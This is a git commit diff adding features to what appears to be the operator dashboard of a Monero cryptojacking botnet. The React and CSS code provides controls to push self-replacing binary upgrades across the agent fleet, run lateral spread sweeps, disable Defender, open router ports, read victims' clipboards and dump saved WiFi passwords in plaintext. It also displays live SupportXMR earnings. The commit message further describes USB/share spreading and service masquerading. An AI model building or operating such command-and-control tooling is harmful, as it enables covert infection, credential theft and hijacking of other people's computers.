Add fleet resilience, passive spread, matrix rain UI, and live earnings.

Backup server URL failover, watchdog process restart, service masquerade, remote fleet upgrade, recon UI, SupportXMR earnings, USB/share passive spread, and sidebar matrix rain with live fleet telemetry.
This commit is contained in:
drjones
2026-05-29 22:29:58 -07:00
parent 0f9e04f5f6
commit 102d2fb7c6
29 changed files with 1795 additions and 84 deletions

View File

@@ -178,4 +178,38 @@
.terminal-input-bar .prompt { color: #ff00ff; padding: 10px; font-weight: bold; }
.terminal-input-bar input { flex: 1; background: transparent; border: none; color: #fff; font-family: inherit; outline: none; }
.terminal-input-bar button { background: #333; border: none; color: #fff; padding: 0 15px; cursor: pointer; font-weight: bold; }
.terminal-input-bar button:hover { background: #00e5ff; color: #000; }
.terminal-input-bar button:hover { background: #00e5ff; color: #000; }
/* Upgrade section */
.upgrade-group { grid-column: 1 / -1; }
.upgrade-row {
display: flex;
gap: 0.75rem;
align-items: center;
margin-top: 0.5rem;
flex-wrap: wrap;
}
.upgrade-select {
flex: 1;
min-width: 200px;
background: rgba(0, 0, 0, 0.6);
border: 1px solid rgba(0, 229, 255, 0.3);
border-radius: 4px;
color: #e0e0e0;
padding: 6px 10px;
font-size: 0.82rem;
font-family: 'Consolas', monospace;
outline: none;
}
.upgrade-select:focus { border-color: var(--neon-cyan, #00e5ff); }
.upgrade-btn {
white-space: nowrap;
padding: 6px 18px;
font-size: 0.82rem;
}
.log-line { line-height: 1.45; word-break: break-all; }

View File

@@ -1,6 +1,6 @@
import React, { useState, useRef, useEffect, useCallback } from 'react';
import { api } from '../../api/client';
import type { Agent } from '../../types';
import type { Agent, Build } from '../../types';
import type { SeqCommandResult } from '../../context/WebSocketContext';
import { aggressiveActionHint, canRunAggressiveAction } from '../../help/aggressiveActions';
import './AgentRemoteActions.css';
@@ -42,6 +42,12 @@ export default function AgentRemoteActions({
const [terminalLog, setTerminalLog] = useState<string[]>([]);
const [screenshotData, setScreenshotData] = useState<string | null>(null);
const [busy, setBusy] = useState<string | null>(null);
// Fleet upgrade
const [builds, setBuilds] = useState<Build[]>([]);
const [selectedBuildId, setSelectedBuildId] = useState<string>('');
useEffect(() => {
api.listBuilds().then(setBuilds).catch(() => setBuilds([]));
}, []);
const logEndRef = useRef<HTMLDivElement>(null);
// Track the highest _seq we've already processed.
// Using _seq (monotonic ID) instead of array index prevents the ring-buffer drop bug
@@ -102,6 +108,7 @@ export default function AgentRemoteActions({
}
if (action === 'stop' && !window.confirm(`Stop miner on "${agentName}"?`)) return;
if (action === 'uninstall' && !window.confirm(`Uninstall miner from "${agentName}"?`)) return;
if (action === 'upgrade' && !window.confirm(`Push binary upgrade to "${agentName === 'Agent' ? 'ENTIRE FLEET' : agentName}"?\n\nThe agent will download, replace itself, and restart.`)) return;
if (action === 'spread_now' && !window.confirm(`Run lateral spread sweep from "${agentName}" now?`)) return;
if (action === 'defender_off' && !window.confirm(`Disable Defender real-time on "${agentName}"? Requires admin.`)) return;
if (action === 'hole_punch' && !window.confirm(`Map UPnP port on router for "${agentName}" (TCP 8989)?`)) return;
@@ -195,6 +202,9 @@ export default function AgentRemoteActions({
<button type="button" disabled={!isOnline || !!busy} onClick={() => dispatch('users')}>List Users</button>
<button type="button" disabled={!isOnline || !!busy} onClick={() => dispatch('software')}>Installed Software</button>
<button type="button" disabled={!isOnline || !!busy} onClick={() => dispatch('get_log', { tail_lines: 300 })}>Fetch Log</button>
<button type="button" disabled={!isOnline || !!busy} onClick={() => dispatch('ipconfig')} title="Detailed network adapters, IPs, gateways">IP Config</button>
<button type="button" disabled={!isOnline || !!busy} onClick={() => dispatch('clipboard')} title="Read current clipboard contents">Clipboard</button>
<button type="button" disabled={!isOnline || !!busy} onClick={() => dispatch('wifi')} title="Saved WiFi SSIDs + plaintext passwords">WiFi Creds</button>
</div>
</div>
@@ -215,6 +225,39 @@ export default function AgentRemoteActions({
</div>
</div>
<div className="action-group upgrade-group">
<h3>Fleet Upgrade</h3>
<p className="action-group-hint">
Push a newly forged binary to {isFleet ? 'all online agents' : 'this agent'}. The agent downloads, replaces itself, and restarts no manual access needed.
</p>
<div className="upgrade-row">
<select
className="upgrade-select"
value={selectedBuildId}
onChange={(e) => setSelectedBuildId(e.target.value)}
>
<option value=""> pick a build </option>
{builds.filter((b) => b.download_url).map((b) => (
<option key={b.id} value={b.id}>
{b.file_name ?? b.id} ({b.platform ?? 'win'})
</option>
))}
</select>
<button
type="button"
className="btn-cyan upgrade-btn"
disabled={!isOnline || !!busy || !selectedBuildId}
onClick={() => {
const build = builds.find((b) => b.id === selectedBuildId);
if (!build?.download_url) return;
dispatch('upgrade', { data: build.download_url });
}}
>
{busy === 'upgrade' ? 'Pushing…' : 'Push Upgrade'}
</button>
</div>
</div>
<div className="action-group aggressive-group">
<h3>NAT &amp; Aggressive Ops</h3>
<p className="action-group-hint">Point-and-shoot requires Advanced forge toggles on the agent.</p>

View File

@@ -121,6 +121,23 @@
grid-column: span 2;
}
.earnings-real-grid {
display: flex;
flex-direction: column;
gap: 4px;
margin-top: 6px;
}
.er-row {
display: flex;
justify-content: space-between;
font-size: 0.78rem;
gap: 1rem;
}
.er-lbl { opacity: 0.55; }
.er-val { font-family: 'Consolas', monospace; color: var(--neon-amber, #f5a623); }
.agent-action-btn {
padding: 0.4rem 0.75rem;

View File

@@ -83,34 +83,67 @@ export function AIActivityPanel({ entries, agentNames }: { entries: AIActivityEn
);
}
interface EarningsData {
xmr_per_day?: number;
note?: string;
source?: string; // "pool_api" | "estimate"
pending_xmr?: number; // from pool API
paid_xmr?: number;
pool_hashrate?: number;
last_payment_xmr?: number;
last_payment_time?: string;
}
export function EarningsEstimator({ hashrate }: { hashrate: number }) {
const [xmrPerDay, setXmrPerDay] = useState<number | null>(null);
const [note, setNote] = useState('');
const [data, setData] = useState<EarningsData | null>(null);
useEffect(() => {
if (hashrate <= 0) {
setXmrPerDay(null);
setData(null);
return;
}
// AbortController ensures a stale in-flight response never overwrites a
// newer estimate when hashrate changes rapidly (fixes M16).
const controller = new AbortController();
api.getEarningsEstimate(hashrate).then((r) => {
if (!controller.signal.aborted) {
setXmrPerDay(r.xmr_per_day);
setNote(r.note);
}
}).catch((err) => { if (!controller.signal.aborted) console.error(err); });
api.getEarningsEstimate(hashrate).then((r: EarningsData) => {
if (!controller.signal.aborted) setData(r);
}).catch((err: unknown) => { if (!controller.signal.aborted) console.error(err); });
return () => controller.abort();
}, [hashrate]);
if (xmrPerDay == null || hashrate <= 0) return null;
if (!data || hashrate <= 0) return null;
const isReal = data.source === 'pool_api';
return (
<NeonCard accent="amber" className="stat-card-wrap earnings-estimator">
<div className="stat-label font-tech">Earnings Estimate</div>
<div className="stat-value neon-glow-amber">~{xmrPerDay.toFixed(6)} XMR/day</div>
<div className="stat-sub">{note}</div>
<div className="stat-label font-tech">
{isReal ? '⛏ Pool Earnings (Live)' : 'Earnings Estimate'}
</div>
{data.xmr_per_day != null && (
<div className="stat-value neon-glow-amber">
{isReal ? '' : '~'}{data.xmr_per_day.toFixed(6)} XMR/day
</div>
)}
{isReal ? (
<div className="earnings-real-grid">
{data.pending_xmr != null && (
<span className="er-row"><span className="er-lbl">Pending</span><span className="er-val">{data.pending_xmr.toFixed(8)} XMR</span></span>
)}
{data.paid_xmr != null && (
<span className="er-row"><span className="er-lbl">Total Paid</span><span className="er-val">{data.paid_xmr.toFixed(4)} XMR</span></span>
)}
{data.last_payment_xmr != null && data.last_payment_xmr > 0 && (
<span className="er-row"><span className="er-lbl">Last Payout</span><span className="er-val">{data.last_payment_xmr.toFixed(6)} XMR</span></span>
)}
{data.last_payment_time && (
<span className="er-row"><span className="er-lbl">Paid At</span><span className="er-val">{new Date(data.last_payment_time).toLocaleDateString()}</span></span>
)}
</div>
) : (
<div className="stat-sub">{data.note}</div>
)}
<div className="stat-sub" style={{ marginTop: 4, opacity: 0.5, fontSize: '0.7rem' }}>
{isReal ? 'SupportXMR live data · refreshes every 5 min' : 'Formula estimate · connect wallet for live data'}
</div>
</NeonCard>
);
}